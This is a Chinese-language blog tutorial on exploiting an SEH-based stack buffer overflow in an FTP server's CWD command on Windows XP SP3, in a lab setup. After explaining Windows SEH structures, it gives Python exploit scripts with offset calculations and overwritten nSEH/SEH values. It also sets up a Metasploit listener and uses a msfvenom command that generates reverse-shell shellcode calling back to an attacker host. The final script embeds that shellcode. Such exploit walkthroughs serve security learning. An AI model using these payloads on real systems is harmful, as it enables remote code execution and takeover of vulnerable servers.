利用SEH链的缓冲区溢出

关于SEH的介绍,有一篇外国大佬的文章写的很清晰。链接是:Windows Exploit Development – Part 6: SEH Exploits
请允许我介绍部分贴来这位前辈的。

注:基于SEH异常链栈远程溢出的一个经典例子,python2运行,在winxp sp3下调试

SEH是什么

SEH中文名结构异常化处理,是一种Windows机制,用于一致地处理硬件和软件异常。

在C#/java/C等语言中可以自定义处理异常,使用try/catch语句。C++也可以抛出异常,C#定义一个基类,所有的异常都继承这个基类。
操作系统为每个进程提供了一个异常处理机制,这个异常处理机制的地址、参数保存在栈中,这就是溢出的原因。SEH会动态发生改变。若程序里没有提供异常处理机制,则会将其交给操作系统处理。

把大佬前辈的简化流程图贴上来:

Major Components of SEH

For every exception handler, there is an Exception Registration Record structure which looks like this:

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD { 
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

These registration records are chained together to form a linked list. The first field in the registration record (Next) is a pointer to the next _EXCEPTION_REGISTRATION_RECORD in the SEH chain. In other words, you can navigate the SEH chain from top to bottom by using the Next address. The second field (Handler), is a pointer to an exception handler function which looks like this:

1
2
3
4
5
6
7
EXCEPTION_DISPOSITION 
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
oid EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);

The first function parameter is a pointer to an _EXCEPTION_RECORD structure. As you can see below, this structure holds information about the given exception including the exception code, exception address, and number of parameters.

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

The _except_handler function uses this information (in addition to the registers data provided in the ContextRecord parameter) to determine if the exception can be handled by the current exception handler or if it needs to move to the next registration record. The EstablisherFrame parameter also plays an important role, which we’ll get to in a bit.

The EXCEPTION_DISPOSITION value returned by the _except_handler function tells the OS whether the exception was successfully handled (returns a value of ExceptionContinueExecution) or if it must continue to look for another handler (returns a value of ExceptionContinueSearch).

So how does Windows SEH use the registration record, handler function, and exception record structure when trying to handle an exception? When an exception occurs, the OS starts at the top of the chain and checks the first _EXCEPTION_REGISTRATION_RECORD Handler function to see if it can handle the given error (based on the information passed in the ExceptionRecord and ContextRecord parameters). If not, it will move to the next _EXCEPTION_REGISTRATION_RECORD (using the address pointed to by *Next). It will continue moving down the chain in this manner until it finds the appropriate exception handler function. Windows places a default/generic exception handler at the end of the chain to help ensure the exception will be handled in some manner (represented by FFFFFFFF) at which point you’ll likely see the “…has encountered a problem and needs to close” message.

大概的中文意思如下:

图中可以看到,SEH chain在堆栈上并非连续的,每一节由一个_EXCEPTION_REGISTRATION_RECORD处理函数组成,每个_EXCEPTION_REGISTRATION_RECORD处理函数具有两个指针,一个指向next SEH,即下一个SEH的地址;一个是当前SEH handler。

在这个单向链表中,头部位于FS:[0]段选择子,保存了异常链的首地址。

在处理函数_except_handler中有四个参数,第一个参数是指向_EXCEPTION_RECORD结构的指针,该结构包含有关给定异常的信息,包括异常代码,异常地址和参数数量。_except_handler函数用这些信息和第三个参数ContextRecord的信息,来确定这个异常是否可以由当前处理器处理,_except_handler返回EXCEPTION_DISPOSITION,如果为ExceptionContinueExecution,表示该异常是否已经被成功处理,如果为ExceptionContinueSearch,表示当前异常处理器无法处理该异常,则根据nSEH指针中的地址找下一个处理器,重复以找到合适可以处理异常的处理器。
第二个参数在利用中很关键,它的值为nSEH。他在堆栈上位于ESP+8的位置,这样我们就可以控制这第二个参数来进行跳转了。

尾部_EXCEPTION_REGISTRATION_RECORD处理函数的nSEH指针指向FFFFFFFF,标志着End of SEH chain。Windows在链的末尾放置一个默认(或者说通用的)异常处理程序,以帮助确保以某种方式处理异常。这时可能会弹框看到“ …遇到问题,需要关闭 ”。

了解了这些,下面开始利用这个做一个远程溢出测试。

FTP utility漏洞利用

打印机的FTP服务容易被攻击,因为容易出现缓冲区溢出漏洞的程序一般发生在需要处理大量字符串里,而需要和很长的字符串打交道的协议有FTP,视频流(媒体播放器),flash等。

首先利用immunity debugger附加程序:

在这个程序中,需要先匿名登录(如果知道一个账户更好了,就不用受匿名限制了),再发送命令,发送的命令就是大量的’a’。

查看一下windows xp的ip地址:192.168.1.138

kali里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
import sys

poststr = "a"*10000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.138',21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + poststr+ '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close


发送过去之后,可以看到堆栈上全部被a占领。这时打开查看SEH chain


可以看到nSEH和SEH均已被覆盖。

下面测试偏移量,用kali自带的msp-pattern工具生成一串字符串。

1
root@kali430:~# msf-pattern_create -l 10000

查看SEH chain:

可以看到两处地址均已被覆盖。

1
2
3
4
root@kali430:~# msf-pattern_offset -q Bi7B
[*] Exact match at offset 1041
root@kali430:~# msf-pattern_offset -q 5Bi6
[*] Exact match at offset 1037

得到了偏移量,下面该写POC了。

需要覆盖两个指针SEH和NSEH,利用!mona seh命令获取可用的pop/pop/ret指令。前两个pop用于弹出多于参数,ret用于跳转到nSEH的地址。

测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.138',22))

#shellcode="a"*1037+"b"*4+"c"*4+"e"*(10000-1037-8)

nseh=b"\xeb\x0e\x90\x90"
#1220401E
seh=b"\x1e\x40\x20\x12"

payload="a"*1037+nseh+seh+"\x90"*8+"b"*6000

poststr=payload

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + poststr+ '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

发现覆盖很精准。

kali设置:

1
2
3
4
5
6
7
8
root@kali430:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555

用msfvenom生成shell:

1
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -f python -v shellcode LHOST=192.168.1.123 LPORT=5555 -b "\x00\x0a\x0d"

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.138',21))

shellcode = b""
shellcode += b"\xdb\xca\xb8\x7e\x23\xd2\xd4\xd9\x74\x24\xf4"
shellcode += b"\x5b\x31\xc9\xb1\x52\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\x95\xdf\x30\x21\x95\xc8\x37\xca\x65\x09"
shellcode += b"\x58\x42\x80\x38\x58\x30\xc1\x6b\x68\x32\x87"
shellcode += b"\x87\x03\x16\x33\x13\x61\xbf\x34\x94\xcc\x99"
shellcode += b"\x7b\x25\x7c\xd9\x1a\xa5\x7f\x0e\xfc\x94\x4f"
shellcode += b"\x43\xfd\xd1\xb2\xae\xaf\x8a\xb9\x1d\x5f\xbe"
shellcode += b"\xf4\x9d\xd4\x8c\x19\xa6\x09\x44\x1b\x87\x9c"
shellcode += b"\xde\x42\x07\x1f\x32\xff\x0e\x07\x57\x3a\xd8"
shellcode += b"\xbc\xa3\xb0\xdb\x14\xfa\x39\x77\x59\x32\xc8"
shellcode += b"\x89\x9e\xf5\x33\xfc\xd6\x05\xc9\x07\x2d\x77"
shellcode += b"\x15\x8d\xb5\xdf\xde\x35\x11\xe1\x33\xa3\xd2"
shellcode += b"\xed\xf8\xa7\xbc\xf1\xff\x64\xb7\x0e\x8b\x8a"
shellcode += b"\x17\x87\xcf\xa8\xb3\xc3\x94\xd1\xe2\xa9\x7b"
shellcode += b"\xed\xf4\x11\x23\x4b\x7f\xbf\x30\xe6\x22\xa8"
shellcode += b"\xf5\xcb\xdc\x28\x92\x5c\xaf\x1a\x3d\xf7\x27"
shellcode += b"\x17\xb6\xd1\xb0\x58\xed\xa6\x2e\xa7\x0e\xd7"
shellcode += b"\x67\x6c\x5a\x87\x1f\x45\xe3\x4c\xdf\x6a\x36"
shellcode += b"\xc2\x8f\xc4\xe9\xa3\x7f\xa5\x59\x4c\x95\x2a"
shellcode += b"\x85\x6c\x96\xe0\xae\x07\x6d\x63\x11\x7f\x6c"
shellcode += b"\x08\xf9\x82\x6e\xfb\x4a\x0b\x88\x69\xbd\x5a"
shellcode += b"\x03\x06\x24\xc7\xdf\xb7\xa9\xdd\x9a\xf8\x22"
shellcode += b"\xd2\x5b\xb6\xc2\x9f\x4f\x2f\x23\xea\x2d\xe6"
shellcode += b"\x3c\xc0\x59\x64\xae\x8f\x99\xe3\xd3\x07\xce"
shellcode += b"\xa4\x22\x5e\x9a\x58\x1c\xc8\xb8\xa0\xf8\x33"
shellcode += b"\x78\x7f\x39\xbd\x81\xf2\x05\x99\x91\xca\x86"
shellcode += b"\xa5\xc5\x82\xd0\x73\xb3\x64\x8b\x35\x6d\x3f"
shellcode += b"\x60\x9c\xf9\xc6\x4a\x1f\x7f\xc7\x86\xe9\x9f"
shellcode += b"\x76\x7f\xac\xa0\xb7\x17\x38\xd9\xa5\x87\xc7"
shellcode += b"\x30\x6e\xb7\x8d\x18\xc7\x50\x48\xc9\x55\x3d"
shellcode += b"\x6b\x24\x99\x38\xe8\xcc\x62\xbf\xf0\xa5\x67"
shellcode += b"\xfb\xb6\x56\x1a\x94\x52\x58\x89\x95\x76"

nseh=b"\xeb\x0e\x90\x90"
seh=b"\x1e\x40\x20\x12"

offset=1037

payload='a'*offset+nseh+seh+"\x90"*30+shellcode+'b'*1000

poststr=payload

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + poststr+ '\r\n')

data = s.recv(4096)

s.send('QUIT' + '\r\n')

s.close

测试程序跳转精准,但是把1000个b替换成shellcode就出错了,沧桑.jpg。